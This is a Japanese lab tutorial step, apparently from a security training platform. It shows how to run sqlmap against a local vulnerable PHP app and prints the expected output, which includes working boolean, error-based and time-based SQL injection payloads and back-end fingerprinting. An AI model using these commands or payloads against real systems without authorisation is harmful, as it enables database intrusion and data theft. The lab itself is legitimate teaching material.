対象へのインジェクションを成功させる
このステップでは、sqlmap を使用して Web アプリケーションをスキャンし、SQL インジェクションの脆弱性があることを確認します。セットアップスクリプトは、ローカル Apache サーバーで実行される、シンプルで脆弱な PHP アプリケーションを既に作成しています。sqlmap をターゲット URL にポイントし、初期分析を実行させます。
まず、ターミナルで以下の sqlmap コマンドを実行します。-u フラグでターゲット URL を指定し、--batch で非対話モードで実行し、すべてのデフォルトの回答を受け入れます。
sqlmap -u "http://127.0.0.1/index.php?id=1" --batch
sqlmap は一連のテストを実行します。完了するまで待ちます。出力により、GET パラメータ id が脆弱であることが示されます。この確認は、悪用を進める前に必要な最初のステップです。
脆弱性を確認する、以下のような出力が表示されるはずです。
---
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1 AND 1421=1421
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: id=1 AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x71627a7671,(SELECT (ELT(2521=2521,1))),0x71787a7171,0x78))s), 8446744073709551610, 8446744073709551610)))
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=1 AND (SELECT 2112 FROM (SELECT(SLEEP(5)))mrzs)
---
[15:30:00] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.52, PHP 8.1.2
back-end DBMS: MySQL >= 5.0
[15:30:00] [INFO] fetched data logged to text files under '/home/labex/.local/share/sqlmap/output/127.0.0.1'